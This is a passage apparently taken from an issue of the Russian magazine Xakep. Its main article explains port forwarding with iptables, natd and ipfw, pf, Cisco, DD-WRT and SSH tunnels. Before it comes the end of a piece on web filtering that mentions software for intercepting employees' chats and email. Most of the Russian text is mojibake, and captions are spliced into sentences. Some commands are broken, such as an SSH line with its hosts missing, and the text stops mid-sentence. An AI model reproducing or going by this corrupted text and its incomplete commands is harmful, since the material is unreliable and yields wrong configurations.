Ãðóïïû Ñïèñîêäîìåíîâ» è äîáàâëÿåì äîìåíû, êîòîðûå íóæíî áëîêèðîâàòü äëÿ âûáðàííîéãðóïïû. Àíàëîãè÷íî óêàçûâàåì ñïèñîê ðàçðåøåííûõ ïîðòîâ,âñå îñòàëüíûå ïîäêëþ÷åíèÿ äëÿ ïîëüçîâàòåëåé ýòîé ãðóïïû áóäóòáëîêèðîâàíû. Òàêæå ó÷èòûâàÿ, ÷òî ìû èìååì äåëî ñ Linux, ïðè íåîáõîäèìîñòèìîæíî ëåãêî ñàìîñòîÿòåëüíî äîáàâèòü íóæíûå ïðàâèëà ïðèïîìîùè iptables (TraffPro èñïîëüçóåò ñâîé ôàéë íàñòðîåê iptables —/etc/traffpro/traffpro_rule.cfg).LAN2NET FIREWALLLan2net NAT Firewall (lan2net.ru) — ïðîãðàììíûé ìåæñåòåâîéýêðàí, ïðåäíàçíà÷åííûé äëÿ îðãàíèçàöèè áåçîïàñíîãî äîñòóïà âèíòåðíåò ñ ôóíêöèÿìè çàùèòû ñåòè, ôèëüòðàöèè ñàéòîâ, êîíòðîëÿè ó÷åòà òðàôèêà. Åãî ðàçðàáîòêîé çàíèìàåòñÿ ðîññèéñêàÿ êîìïàíèÿÍåòñèá, èìåþùàÿ, ê ñëîâó, ñòàòóñ Microsoft Small Business Specialist.Âîçìîæíîñòåé ó ïðîäóêòà Lan2net î÷åíü ìíîãî, íàñ æå èíòåðåñóåòôóíêöèÿ áëîêèðîâêè äîñòóïà ê ñàéòàì, êîòîðàÿ ðåàëèçóåòñÿ çà ñ÷åòèñïîëüçîâàíèÿ ìåõàíèçìà ôèëüòðàöèè ñàéòîâ ïî URL è IP. Çàïðåòèòüäîñòóï ïî IP ìîæíî ïðè ñîçäàíèè ïðàâèëà firewall èëè ïðàâèëà äëÿãðóïïû. Âûáèðàåì ïðîòîêîë (ïîðò) è óêàçûâàåì IP-àäðåñ. Õîòÿ ýòîòìåòîä íå íàçîâåøü óäîáíûì, òàê êàê çàäàòü ñïèñîê IP-àäðåñîâ íåëüçÿ— òîëüêî äèàïàçîí. Ïîýòîìó êàæäûé àäðåñ ïðèäåòñÿ ïðîïèñûâàòüîòäåëüíûì ïðàâèëîì. Äðóãîé âàðèàíò — ìåõàíèçì ôèëüòðàöèè URL,äîñòóï ê êîòîðîìó ìû ïîëó÷àåì â ñâîéñòâàõ ãðóïïû ïîëüçîâàòåëåé. ñïèñêàõ àäðåñîâ ïîääåðæèâàåòñÿ ñèìâîë '*', îçíà÷àþùèé ëþáóþïîäñòðîêó, ÷òî âåñüìà óïðîùàåò èõ íàïîëíåíèå. Òàêèì æå îáðàçîìáëîêèðóþòñÿ ôàéëû ñ îïðåäåëåííûì ðàñøèðåíèåì: ïðîñòî äîáàâëÿåìïðàâèëî — *.mp3, *.avi, *.mpg è ò.ä. zLanAgent NetworkFilterÊîãäà íîìåð ñäàâàëñÿ â ïå÷àòü, ñòàëî èçâåñòíî, ÷òî âìåñòîSurfAnalyzer áóäåò ïðîäâèãàòüñÿ ïðîãðàììà ñ äðóãèìèìåíåì — LanAgent NetworkFilter, êîòîðóþ íàäåëÿò òåìèæå âîçìîæíîñòÿìè: ïåðåõâàò ñîîáùåíèé ICQ, MSN, mail.ruàãåíòîâ; ïåðåõâàò ñîîáùåíèé ýëåêòðîííîé ïî÷òû; êîíòðîëüçàãðóæàå ìûõ ôàéëîâ. Êðîìå ýòîãî äîáàâèòñÿ ôóíêöèÿ ïåðåõâàòàïèñåì, îòïðàâëÿåìûõ ÷åðåç âåá-èíòåðôåéñ. Ïðèíöèïíàñòðîéêè è óñòàíîâêè îñòàíåòñÿ íåèçìåííûì.121


SYN/ACKЕвгений Зобнин j1m@synack.ruСквозь защитныепорядкиПРОБРАСЫВАЕМ ПОРТЫ В ОКНАХ, НИКСАХ И КИСКАХУ этой технологии есть множество названий — это и трансляция портадреса,и проброс портов, и перенаправление, и буржуйские порт-форвардинг/порт-маппинг,и сокращенные DNAT/PAT. Но как бы она ниназывалась, о ее полезности спорить не приходится. Проброс портов —просто спасательный круг для тех, кто хочет показать свой сервер из-завысокой и крепкой стены под названием NAT.Íåäîñòàòîê ñåòåâûõ àäðåñîâ ñòàíäàðòà IPv4 îñòàâèë ñâîé îòïå÷àòîê íàòîïîëîãèè ñîâðåìåííûõ ñåòåé. Áåëûå àäðåñà ñëèøêîì äîðîãè, ÷òîáûíàäåëÿòü èìè âñåõ, êîãî ïîïàëî, ïîýòîìó ïðîñòûì ñìåðòíûì ïðèõîäèòñÿþòèòüñÿ â íåáîëüøèõ ÷àñòíûõ ïîäñåòÿõ, à â èíòåðíåò âûõîäèòü÷åðåç îäèí îáùèé ñåðâåð, íà êîòîðîì íàñòðîåí NAT. Áëàãîäàðÿ òàêîéñõåìå ïîëüçîâàòåëè öåëîé ïîäñåòè ìîãóò èñïîëüçîâàòü îäèí âíåøíèéIP-àäðåñ, à îáùàÿ èíôðàñòðóêòóðà èíòåðíåòà ïðîäîëæàåò æèòü, äàæåíåñìîòðÿ íà î÷åâèäíóþ íåõâàòêó IP-àäðåñîâ. Íî ÷òî åñëè ðå÷ü èäåò íå îêëèåíòàõ ïðîâàéäåðà, ñèäÿùèõ çà NAT'îì, à î ëîêàëüíîé ñåòè íåáîëüøîéêîìïàíèè, ìíîãèå ìàøèíû êîòîðîé äîëæíû èãðàòü ðîëü íå òîëüêîêëèåíòîâ, íî è ñåðâåðîâ. Íàïðèìåð, íà îäíîé èç ìàøèí ìîæåò íàõîäèòüñÿâåá-ñåðâåð, à äðóãàÿ äîëæíà îáñëóæèâàòü SMTP- è FTP-êëèåíòîâ, íîâûäåëÿòü êàæäîé èç íèõ áåëûé IP-àäðåñ — êàê-òî óæ ñëèøêîì ðàñòî÷èòåëüíî.Âîò çäåñü íàì íà ïîìîùü è ïðèõîäèò DNAT èëè, ïî-ïðîñòîìó —ïðîáðîñ ïîðòîâ. Ñ ïîìîùüþ ýòîé òåõíîëîãèè ìîæíî ñäåëàòü òàê, ÷òîáûâõîäÿùèé íà øëþç òðàôèê ïåðåíàïðàâëÿëñÿ ê îäíîé èç âíóòðåííèõìàøèí ñåòè íà îñíîâå ïîðòà íàçíà÷åíèÿ. Äðóãèìè ñëîâàìè, ïðîáðîñïîðòîâ ïîçâîëÿåò âûñòàâèòü âî âíåøíèé ìèð ñåðâèñû ëîêàëüíûõ ðåñóðñîâè ñîçäàòü èëëþçèþ òîãî, ÷òî îíè íàõîäÿòñÿ íà øëþçå.ПЕРЕД ТЕМ, КАК НАЧАТЬÝòà ñòàòüÿ ðàññêàçûâàåò î íàñòðîéêå ïðîáðîñà ïîðòîâ â ñàìûõ ðàçíûõîïåðàöèîííûõ ñèñòåìàõ, íà÷èíàÿ ñ Windows è çàêàí÷èâàÿ ÎÑ,óñòàíîâëåííûìè íà ñåòåâîì îáîðóäîâàíèè.  áîëüøèíñòâå ñëó÷àåâäëÿ ðåàëèçàöèè ïðîáðîñà ïîðòîâ èñïîëüçóþòñÿ ñïåöèàëüíûå ïðàâèëàáðàíäìàóýðà, è çäåñü ÿ äîëæåí ñäåëàòü ïåðâîå ïðåäîñòåðåæåíèå.Äåëî â òîì, ÷òî ëþáîé áðàíäìàóýð âûïîëíÿåò òðàíñëÿöèþ ñåòåâûõàäðåñîâ äî èõ ôèëüòðàöèè, ïîýòîìó îïèñàííûå â ñòàòüå ïðàâèëàäîëæíû íàõîäèòüñÿ â íà÷àëå. Âòîðîå: äëÿ óñïåøíîãî ïðîõîæäåíèÿîòòðàíñëèðîâàííûõ ïàêåòîâ äîëæíû áûòü äîáàâëåíû ïðàâèëà, ðàçðåøàþùèåâõîäÿùèå ïîäêëþ÷åíèÿ íà öåëåâîé ïîðò øëþçà, à òàêæåïðàâèëà, ðàçðåøàþùèå îáìåí äàííûìè ìåæäó âíóòðåííåé öåëåâîéìàøèíîé è øëþçîì.WINDOWSÍà÷íåì, êàê ãîâîðèòñÿ, ñ àçîâ. Ïðîùå âñåãî ïðîáðîñ ïîðòîâ íàñòðîèòüâ îïåðàöèîííûõ ñèñòåìàõ ñåìåéñòâà Windows. Çäåñü âñå ýòî äåëàåòñÿ â«Ñâîéñòâàõ NAT»:1221. Çàõîäèì â «Àäìèíèñòðèðîâàíèå -> Ìàðøðóòèçàöèÿ», âûáèðàåìëîêàëüíóþ ìàøèíó, äàëåå «IP-ìàðøðóòèçàöèÿ -> NAT».2. Âêëþ÷àåì NAT äëÿ ëîêàëüíîãî èíòåðôåéñà.3. Ïåðåõîäèì ê âêëàäêå «Ñëóæáû è ïîðòû», âûáèðàåì èíòåðåñóþùóþíàñ ñëóæáó èëè äîáàâëÿåì ñâîþ.4.  îòêðûâøåìñÿ îêíå âûáèðàåì ïðîòîêîë, âõîäÿùèé ïîðò (òîò, êîòîðûéáóäåò âèäåí èçâíå), àäðåñ ìàøèíû âíóòðåííåé ñåòè è åå ïîðò.LINUX Linux âñå íàìíîãî ñëîæíåå, çäåñü íåîáõîäèìî îïåðèðîâàòü ïðàâèëàìèiptables/netfilter, áåç çíàíèÿ îñíîâ êîòîðîãî ïðîñòî íå îáîéòèñü. Äëÿîñóùåñòâëåíèÿ ïðîáðîñà ïîðòîâ ïðåäóñìîòðåíà öåëü DNAT, êîòîðóþíåîáõîäèìî èñïîëüçîâàòü â ïðàâèëàõ öåïî÷êè PREROUTING.  ñàìîìïðîñòåéøåì ñëó÷àå ïðàâèëî áóäåò âûãëÿäåòü ñëåäóþùèì îáðàçîì:iptables -t nat -A PREROUTING -p tcp --dst $GATE \--dport $PORT -j DNAT --to-destination $SERVER:$PORTÃäå $GATE — ýòî àäðåñ øëþçà, $PORT — ïðîáðàñûâàåìûé ïîðò, à ñâÿçêà$SERVER:$PORT — ýòî àäðåñ è ïîðò âíóòðåííåãî ñåðâåðà. Åñòåñòâåííî,÷òîáû ïðàâèëî ñðàáîòàëî, äîëæåí áûòü âêëþ÷åí ôîðâàðäèíã (õîòÿ íàøëþçå îí â ëþáîì ñëó÷àå âêëþ÷åí):# echo 1 > /proc/sys/net/ipv4/ip_forwardÏðîáðîñ ïîðòîâ âîçìîæåí è ñ äðóãîé ìàøèíû:$IPTABLES -t nat -A PREROUTING -p tcp --dst $IP \--dport $PORT -j DNAT --to-destination $SERVER:$PORT$IPTABLES -t nat -I POSTROUTING -p tcp --dst $SERVER \--dport $PORT -j SNAT --to $IPÝòî âïîëíå ëåãàëüíî, à èíîãäà è ïðîñòî íåîáõîäèìî.Ðàçëè÷íûå ïðåêîíôèãóðèðîâàííûå iptables-ñêðèïòû, òàêèå êàê,íàïðèìåð, çíàêîìûé ïîëüçîâàòåëÿì Debian, arno-iptables-firewall,òàêæå ìîæíî èñïîëüçîâàòü äëÿ áîëåå ïðîñòîé íàñòðîéêè ïðîáðîñàïîðòîâ. Íàïðèìåð, åñëè òû õî÷åøü ïðîáðîñèòü ïîðò 80 íà ìàøèíó192.168.0.100, äëÿ ýòîãî äîñòàòî÷íî äîáàâèòü ñòðîêó NAT_TCP_XÀÊÅÐ 08 /139/ 10


FORWARD="80>192.168.0.100" â ôàéë /etc/arno-iptables-firewall/firewall.conf è ïåðåçàãðóçèòü áðàíäìàóýð:$ sudo /etc/init.d/arno-iptables-firewall restartuse_sockets yes# Ïðîáðîñ ïîðòîâ:# ïðîòîêîë àäðåñ-ñåðâåðà-âíóòðè-ñåòè:ïîðò ïîðò-íà-øëþçåredirect_port tcp 192.168.0.100:80 80FREEBSDFreeBSD îòëè÷àåòñÿ òåì, ÷òî èìååò äâå íåçàâèñèìûå ðåàëèçàöèè ìåõàíèçìàNAT (à çíà÷èò, è òåõíîëîãèè ïðîáðîñà ïîðòîâ). Ïåðâàÿ íîñèò èìÿnatd è, êàê ìîæíî äîãàäàòüñÿ èç íàçâàíèÿ, ïðåäñòàâëÿåò ñîáîé äåìîíóðîâíÿ ïîëüçîâàòåëÿ, êîòîðûé ïðèíèìàåò «ñûðûå» ïàêåòû, âûïîëíÿåòíåîáõîäèìûå ïðåîáðàçîâàíèÿ àäðåñîâ è îòäàåò èõ îáðàòíî ÿäðó. Âòîðóþïðèíÿòî íàçûâàòü kernel nat, òî åñòü ìåõàíèçì NAT, ðåàëèçîâàííûé âÿäðå FreeBSD. Îí ïîçâîëÿåò âûïîëíÿòü ïðåîáðàçîâàíèå àäðåñîâ è ïðîáðîñïîðòîâ, èñïîëüçóÿ ïðàâèëà áðàíäìàóýðà ipfw.ßñíî, ÷òî âòîðàÿ ðåàëèçàöèÿ ïðîèçâîäèòåëüíåå è óäîáíåå â èñïîëüçîâàíèè,è ïîýòîìó ïðåäïî÷òèòåëüíåå. Îäíàêî kernel nat ïîÿâèëñÿâî FreeBSD íå òàê äàâíî, ïîýòîìó ìû ðàññìîòðèì îáà ïîäõîäà íà òîòñëó÷àé, åñëè â òâîåì ðàñï îðÿæåíèè îêàçàëàñü ìàøèíà, èñïîëüçóþùàÿóñòàðåâøóþ âåðñèþ ýòîé îïåðàöèîííîé ñèñòåìû. Èòàê, ìåòîä íîìåðîäèí: natd, divert è âñå-âñå-âñå. Äëÿ àêòèâàöèè NAT è ïðîáðîñà ïîðòîâ ñïîìîùüþ äåìîíà natd íåîáõîäèìî ïðîäåëàòü ñëåäóþùèå øàãè:1. Âêëþ÷èòü natd è ipfw â /etc/rc.conf:# vi /etc/rc.conf# Âêëþ÷àåì natdnatd_enable="YES"# rl0 — âíóòðåííèé èíòåðôåéñ øëþçànatd_interface="rl0"natd_flags="-f /etc/natd.conf"# Âêëþ÷àåì ipfwfirewall_enable="YES"firewall_type="/etc/ipfw.conf"2. Íàñòðîèòü NAT è ïðîáðîñ ïîðòîâ â /etc/natd.conf:# vi /etc/natd.confsame_ports yes3. ×òîáû âñå ïàêåòû, ïðîõîäÿùèå ÷åðåç âíåøíèé èíòåðôåéñ (rl1) øëþçà,ïåðåíàïðàâëÿëèñü â natd è îáðàáàòûâàëèñü èì, äîáàâèì ïðàâèëî divertâ /etc/ipfw.conf:ipfw add divert natd ip from any to any in via rl1Òàêæå ðàçðåøèì îáùåíèå âñåõ ñ âíóòðåííèì ñåðâåðîì:ipfw allow tcp from any to 192.168.0.100 \dst-port 80 in via rl0 setupÄàëåå ìîæíî äîáàâèòü ïðàâèëà ôèëüòðàöèè.Ìåòîä íîìåð äâà: ÿäåðíûé NAT. Àêòèâàöèÿ NAT ñ ïîìîùüþ ðåàëèçàöèèâíóòðè ÿäðà íå òðåáóåò íè÷åãî, êðîìå ïðàâèëüíîé íàñòðîéêèáðàíäìàóýðà ñ ïîìîùüþ äâóõ-òðåõ ïðàâèë. Íå áóäó ðàñïèñûâàòü âñåâ äåòàëÿõ, à ïðîñòî ïðèâåäó ïðîñòîé ïðèìåð, äåìîíñòðèðóþùèé óæåîáñóæäàâøèéñÿ âûøå ïðîáðîñ 80-ãî ïîðòà ñî øëþçà íà âíóòðåííèéñåðâåð:# vi /etc/ipfw.conf# Íàñòðàèâàåì NATnat 1 config log if rl1 reset same_ports \redirect_port tcp 192.168.0.100:80 80# Çàâîðà÷èâàåì âåñü òðàôèê ÷åðåç âíåøíèé èíòåðôåéñ â NATadd nat 1 ip from any to any via rl1Ïðàâèëà 'nat' èìåþò íåñêîëüêî îïöèé, áîëüøèíñòâî èç êîòîðûõ ñîâïàäàåòñ îïöèÿìè, èñïîëüçóåìûìè äåìîíîì natd. Íàïðèìåð, îïöèÿsame_ports ïðåäïèñûâàåò ìåõàíèçìó NAT ñîõðàíÿòü îðèãèíàëüíûåíîìåðà èñõîäÿùèõ ïîðòîâ äëÿ èñõîäÿùèõ ïàêåòîâ (íóæíî äëÿ ïðàâèëüíîéðàáîòû íåêîòîðûõ RPC-ïðîòîêîëîâ). Îïöèÿ rdirect_port èìååò òîòæå ñèíòàêñèñ, ÷òî è â ôàéëå /etc/natd.conf.XÀÊÅÐ 08 /139/ 10 123


SYN/ACKНастраиваем проброс портов в DD-WrtOPENBSDÍàâåðíîå, ñàìûé ëîãè÷íûé è ïðîñòîé â íàñòðîéêå ïðîáðîñ ïîðòîâïîëó÷àåòñÿ â ÎÑ OpenBSD. Çäåñü ìåõàíèçì NAT òàêæå ðåàëèçîâàí âÿäðå è íàñòðàèâàåòñÿ ñ ïîìîùüþ øòàòíîãî pf, ñèíòàêñèñ êîòîðîãî êóäàÿñíåå è ïðîäóìàííåå ñèíòàêñèñà ipfw è, óæ òåì áîëåå, iptables. Âñå òîò æåïðîáðîñ 80-ãî ïîðòà íà ÿçûêå pf áóäåò âûãëÿäåòü ñëåäóþùèì îáðàçîì:# vi /etc/pf.conf# Íàñòðàèâàåì NATnat on rl1 from 192.168.10.0/24 to any -> $out_ip# Íàñòðàèâàåì ïðîáðîñ ïîðòîârdr on rl1 inet proto { tcp, udp } from any \to $out_ip port 80 -> 192.168.0.100Êàê è ïðåæäå, rl1 — âíåøíèé èíòåðôåéñ øëþçà, 192.168.0.100 — àäðåñâíóòðåííåãî ñåðâåðà, à out_ip — àäðåñ âíåøíåãî èíòåðôåéñà øëþçà.Ïðè ýòîì, åñëè ïðîáðîñ äîëæåí áûòü ñäåëàí íà ïîðò, îòëè÷íûé îò 80-ãî,äîñòàòî÷íî ïðîñòî äîáàâèòü êëþ÷åâîå ñëîâî «port» è ÷èñëîâîå çíà÷åíèåâ êîíåö ïåðâîãî ïðàâèëà.Ðàçðåøàåòñÿ èñïîëüçîâàíèå äèàïàçîíîâ ïîðòîâ, åñëè, êîíå÷íî æå, îíîìîæåò èìåòü êàêîé-òî ñìûñë:rdr on rl1 inet proto { tcp, udp } from any \to $out_ip port 5000:10000 -> 192.168.0.100Ïðèì. ðåä.: Íàïðèìåð, ñ ïîìîùüþ ýòîé ôè÷è óäîáíî ðàçðåøàòü ïðîõîæäåíèåòðàôèêà bittorrent:rdr on $ext_if inet proto tcp from any to $ext_if \port 6881:6889 -> $myhost port 6881:6889pass in quick on $ext_if inet proto tcp from any \to $myhost port 6880 >< 6890 keep stateÀâòîìàòè÷åñêèéïðîáðîñ ïîðòîâUniversal Plug and Play (UPnP) — òåõíîëîãèÿ, ïðèçâàííàÿóïðîñòèòü è àâòîìàòèçèðîâàòü ïðîöåññ îáùåíèÿ ñåòåâûõ óñòðîéñòâè ïðèëîæåíèé ìåæäó ñîáîé. Ïîääåðæèâàåòñÿ ïî÷òèëþáûì ñîâðåìåííûì ñåòåâûì îáîðóäîâàíèåì, âêëþ÷àåò âñåáÿ ìåõàíèçì àâòîìàòè÷åñêîãî ïðîáðîñà ïîðòîâ â ñëó÷àåíåîáõîäèìîñòè. Òîò æå ìåõàíèçì ðåàëèçîâàí âî ìíîãèõ ôàéëîîáìåííûõïðîãðàììàõ.124Проброс портов в популярном домашнем роутереD-Link DIR-300Êàê è â äðóãèõ ðàññìîòðåííûõ ðàíåå áðàíäìàóýðàõ, ïðèíÿòèå ðåøåíèÿî äàëüíåéøåé ñóäüáå ïàêåòîâ âîçëàãàåòñÿ íà ïðàâèëà ôèëüòðàöèè, ÷åðåçêîòîðûå ïàêåò áóäåò ïðîïóùåí óæå ïîñëå ïåðåíàïðàâëåíèÿ. Íî åñòüîäíî ìàëåíüêîå èñêëþ÷åíèå: èñïîëüçóÿ êëþ÷åâîå ñëîâî «pass» ñîâìåñòíîñ ïðàâèëîì rdr ìîæíî äîáèòüñÿ òàêîãî ïîâåäåíèÿ ñèñòåìû, êîãäàïàêåòû áóäóò îòïóñêàòüñÿ âî âíåøíèé ìèð, ìèíóÿ ïðàâèëà ôèëüòðàöèè(ñì. ñêðèíøîò «Ôîðâàðäèì âõîäÿùèå çàïðîñû íà ñåðâåð òåðìèíàëîâ èSQL-ñåðâåð»). Ýòà îñîáåííîñòü ìîæåò áûòü èñïîëüçîâàíà äëÿ îòëàäêèïðàâèë.Áóäü âíèìàòåëåí, â OpenBSD 4.7 ñèíòàêñèñ êîíôèãà íåñêîëüêîèçìåíèëñÿ:pass out on rl1 from 192.168.0.0/24 to any \nat-to $out_ippass in on rl1 proto tcp from any to any \port 80 rdr-to 192.168.0.100CISCOÑ ìîåé ñòîðîíû áûëî áû êîùóíñòâîì íå ðàññêàçàòü ïðî íàñòðîéêóïðîáðîñà ïîðòîâ ñ ïîìîùüþ ñåòåâîãî îáîðóäîâàíèÿ íåáåçûçâåñòíîéêîìïàíèè Cisco. Áëàãî, çäåñü âñå ðåøàåòñÿ îäíîé ïðîñòîé ñòðîêîé,êîòîðàÿ, òåì íå ìåíåå, áóäåò ðàçíîé äëÿ ðàçëè÷íûõ òèïîâ óñòðîéñòâ.Íàïðèìåð, ïðîáðîñ ïîðòîâ â Cisco PIX (Private Internet Exchange) èëèASA (Adaptive Security Appliance) îñóùåñòâëÿåòñÿ ñ ïîìîùüþ ñëåäóþùåéñòðîêè êîíôèãóðàöèè:static (inside,outside) tcp 1.2.3.4 www \192.168.0.100 www netmask 255.255.255.255 òî æå âðåìÿ äëÿ îáîðóäîâàíèÿ, ðàáîòàþùåãî íà îïåðàöèîííîé ñèñòåìåCisco IOS, ñòðîêà áóäåò âûãëÿäåòü òàê:ip nat inside source static tcp 192.168.0.100 80 \1.2.3.4 80Îáå îíè íå äåëàþò íè÷åãî êðîìå ïðîáðîñà ïîðòà 80 íà ñåðâåð192.168.0.100 äëÿ êëèåíòà ñ àäðåñîì 1.2.3.4. Ïðè ýòîì åñëè íåîáõîäèìîíàñòðîèòü ïðîáðîñ âñåõ ïîðòîâ, äîñòàòî÷íî ïðîñòî îïóñòèòü íîìåðà/èìåíà ïîðòîâ â ñòðîêå êîíôèãóðàöèè.OPENWRT И DD-WRTÊîíå÷íî æå, êðîìå îáîðóäîâàíèÿ èìåíèòîé Cisco íà ðûíêå ñóùåñòâóþòè ãîðàçäî ìåíåå äîðîãîñòîÿùèå ðåøåíèÿ âðîäå ðàçíîãî ðîäà äîìàøíèõðîóòåðîâ è òî÷åê äîñòóïà. Áîëüøîé ïîïóëÿðíîñòüþ ñðåäè íèõ ïîëüçóþòñÿóëüòðà-áþäæåòíûå ñåòåâûå óñòðîéñòâà òàêèõ êîìïàíèé, êàê D-Link,ASUS, Linksys è äðóãèõ. Íà ìíîãèõ èç íèõ ìîæíî óñòàíîâèòü ñâîáîäíûåè áîëåå ïðîäâèíóòûå ïðîøèâêè âðîäå OpenWrt, X-Wrt è DD-wrt, êîòîðûåîòëè÷àþòñÿ áîëåå ðàçâèòîé ñèñòåìîé íàñòðîéêè è õîðîøèì êîìüþíè-XÀÊÅÐ 08 /139/ 10


OpenBSD, pf и NATîòêðûòûé íà øëþçå, äîëæåí îòëè÷àòüñÿ îò ïîðòà âíóòðåííåãî ñåðâåðà,âûáèðàåì â âûïàäàþùåì ìåíþ ïóíêò «Destination Ports», ïîëó÷àåì îäíîèìåííîåïîëå è ââîäèì â íåãî íîìåð ïîðòà. Íàæèìàåì êíîïêó «Save».Òîãî æå ýôôåêòà ìîæíî äîñòè÷ü, îòðåäàêòèðîâàâ êîíôèãóðàöèîííûéôàéë /etc/config/firewall ñëåäóþùèì îáðàçîì:forward:proto=tcp dport=80:192.168.0.100:80Форвардим входящие запросы на сервер терминалови SQL-серверòè. Åñòåñòâåííî, ïðîáðîñ ïîðòîâ ëåãêî âûïîëíèòü è ñ èõ ïîìîùüþ. DD-Wrt ïðîáðîñ ïîðòîâ îñóùåñòâëÿåòñÿ ñ ïîìîùüþ ëîêàëèçîâàííîãîâåá-èíòåðôåéñà. ×òîáû íàñòðîèòü ïðîáðîñ ïî îïèñàííîé âûøå ñõåìå,äîñòàòî÷íî îòêðûòü âåá-èíòåðôåéñ ðîóòåðà (192.168.1.1), ïåðåéòè íàâêëàäêó «NAT/QoS», äàëåå — âêëàäêà «Ïåðåíàïðàâëåíèå ïîðòîâ». Òåïåðüâ ïîëå «Ïðèëîæåíèå» ïèøåì ëþáîå óäîáíîå äëÿ íàñ èìÿ, íàïðèìåð,«www», «Ïîðò-èñòî÷íèê» — âíåøíèé ïîðò ðîóòåðà, «Ïðîòîêîë» — TCPèëè UDP, «IP-àäðåñ» — àäðåñ âíóòðåííåãî ñåðâåðà, «Ïîðò-ïðèåìíèê» —åãî ïîðò. Äàëåå âûáèðàåì ãàëî÷êó «Âêëþ÷èòü», æìåì êíîïêó «Äîáàâèòü»,ïîòîì — êíîïêó «Ïðèìåíèòü».Ýòî äåéñòâèòåëüíî ïðîñòîé ïóòü, êîòîðûé… íå ñðàáîòàåò äëÿ áîëüøèíñòâàðîññèéñêèõ ïðîâàéäåðîâ, ïðåäîñòàâëÿþùèõ êàê äîñòóï ê ëîêàëüíîéñåòè (ïðÿìîé), òàê è äîñòóï ê ñåòè èíòåðíåò (÷åðåç VPN/PPTP). Äåëî âòîì, ÷òî äîáàâëåííîå òàêèì îáðàçîì ïðàâèëî áóäåò ïðèìåíåíî ê âíåøíåìóôèçè÷åñêîìó èíòåðôåéñó, òîãäà êàê èíòåðôåéñ ppp0, èñïîëüçóåìûéäëÿ âûõîäà â èíòåðíåò ÷åðåç VPN/PPTP, îñòàíåòñÿ íå ïðè äåëàõ.Äëÿ ðåøåíèÿ ïðîáëåìû ìîæíî âîñïîëüçîâàòüñÿ ïðÿìûì âìåøàòåëüñòâîìâ íåäðà DD-Wrt. Îòêðûâàåì âêëàäêó «Òåõ.îáñëóæèâàíèå», äàëåå —«Êîìàíäû» è íàáèðàåì ñòàíäàðòíûå ïðàâèëà iptables:iptables -t nat -A PREROUTING -p tcp -i ppp0 \--dport 80 -j DNAT --to 192.168.0.100:80Íàæèìàåì «Ñîõð. áðàíäìàóýð» è ïåðåçàãðóæàåìñÿ. Íåíàìíîãî òðóäíååâûïîëíèòü ýòó îïåðàöèþ ñ ïîìîùüþ âåá-èíòåðôåéñà ïðîøèâîê X-Wrt,ïðåäñòàâëÿþùèõ ñîáîé, ïî ñóòè, áîëåå þçàáåëüíûé âàðèàíò OpenWrt.Æìåì íà «Network», çàòåì «Firewall», âûáèðàåì â ìåíþ «New Rule» ïóíêò«Forward» è íàæèìàåì «Add». Çàïèñûâàåì â ïîëå «Forward To» IP-àäðåñâíóòðåííåãî ñåðâåðà, â ïîëå «Port» ïîìåùàåì íîìåð ïðîáðàñûâàåìîãîïîðòà.  âûïàäàþùåì ìåíþ âûáèðàåì ïóíêò «Protocol» è íàæèìàåì«Add», â ïîÿâèâøåìñÿ ìåíþ âûáèðàåì ïðîòîêîë: TCP èëè UDP. Åñëè ïîðò,ДРУГИЕ ПОДХОДЫÄëÿ îñóùåñòâëåíèÿ ïðîáðîñà ïîðòà ñîâñåì íåîáÿçàòåëüíî èñïîëüçîâàòüáðàíäìàóýðû èëè ñèñòåìíûå äåìîíû, êàê, íàïðèìåð, ýòîãî òðåáóþòñòàðûå âåðñèè FreeBSD. Ñóùåñòâóåò íåñêîëüêî äðóãèõ ñïîñîáîâ ñäåëàòüýòî ñ ïîìîùüþ ñïåöèàëèçèðîâàííîãî ñîôòà èëè ñòàíäàðòíûõ èíñòðóìåíòîâÎÑ (êòî çíàåò, âîçìîæíî, òû èñïîëüçóåøü Minix â êà÷åñòâå ÎÑäëÿ øëþçà :)). Îäèí èç òàêèõ èíñòðóìåíòîâ — SSH. Äàëåêî íå êàæäûéñèñòåìíûé àäìèíèñòðàòîð â êóðñå, ÷òî ïðîáðîñ ïîðòà ÿâëÿåòñÿ ñòàíäàðòíîéôóíêöèåé ýòîé ïðîãðàììû. Âîçüìåì, ê ïðèìåðó, ñëåäóþùóþñèòóàöèþ.  ëîêàëüíîé ñåòè, çàêðûòîé îò âíåøíåé ñåòè NAT'îì, åñòüñåðâåð, ê êîòîðîìó òåáå íåîáõîäèìî èìåòü äîñòóï. Ñèòóàöèÿ óñóãóáëÿåòñÿòåì, ÷òî òû íå èìååøü ïðèâèëåãèé äëÿ íàñòðîéêè ôàéåðâîëà íàìàøèíå-øëþçå. Çàòî ó òåáÿ åñòü äîñòóï ê SSH-ñåðâåðó, ðàáîòàþùåìóíà ýòîì øëþçå. Êàê ýòî ìîæåò ïîìî÷ü? Íà ñàìîì äåëå î÷åíü ñèëüíî. Òûïðîñòî âûïîëíÿåøü ñëåäóþùóþ êîìàíäó íà óäàëåííîé ìàøèíå (serverip— àäðåñ âíóòðåííåãî ñåðâåðà, gateway-ip — àäðåñ øëþçà):$ ssh -L 8080::80 user@È âóàëÿ, ïîðò 8080 ëîêàëüíîé ìàøèíû ñòàíîâèòñÿ ïîðòîì 80 âíóòðåííåãîñåðâåðà ëîêàëêè. Òåïåðü äîñòàòî÷íî íàáðàòü â âåá-áðàóçåðå àäðåñlocalhost:8080, è òû ïîïàäåøü òóäà, êóäà íàäî. Òâîé SSH-êëèåíò ñîçäàñòòóííåëü ñ SSH-ñåðâåðîì øëþçà, âñå ïåðåäàâàåìûå â ðàìêàõ êîòîðîãîäàííûå áóäóò íàïðàâëåíû íà ïîðò 80 âíóòðåííåãî ñåðâåðà.Áîëåå ðàäèêàëüíûé ñïîñîá — óñòàíîâêà ñîôòà, ñïåöèàëüíî ñîçäàííîãîäëÿ îñóùåñòâëåíèÿ ïðîáðîñà ïîðòîâ. Îäíà èç òàêèõ ïðîãðàìì íîñèòèìÿ rinetd è ïðåäñòàâëÿåò ñîáîé âûñîêîïðîèçâîäèòåëüíûé ñåðâåð,ïîçâîëÿþ ùèé ïðîáðàñûâàòü ëþáîå êîëè÷åñòâî ñîåäèíåíèé. Îí åñòüâ ïàêåòàõ äëÿ ïîïóëÿðíûõ Linux-äèñòðèáóòèâîâ è ïîðòàõ BSD-ñèñòåì.Ïîñëå åãî óñòàíîâêè äîñòàòî÷íî îòðåäàêòèðîâàòü ôàéë /etc/rinetd.conf(/usr/local/etc/rinetd.conf), ïîìåñòèâ òóäà ñòðîêè ñëåäóþùåãî 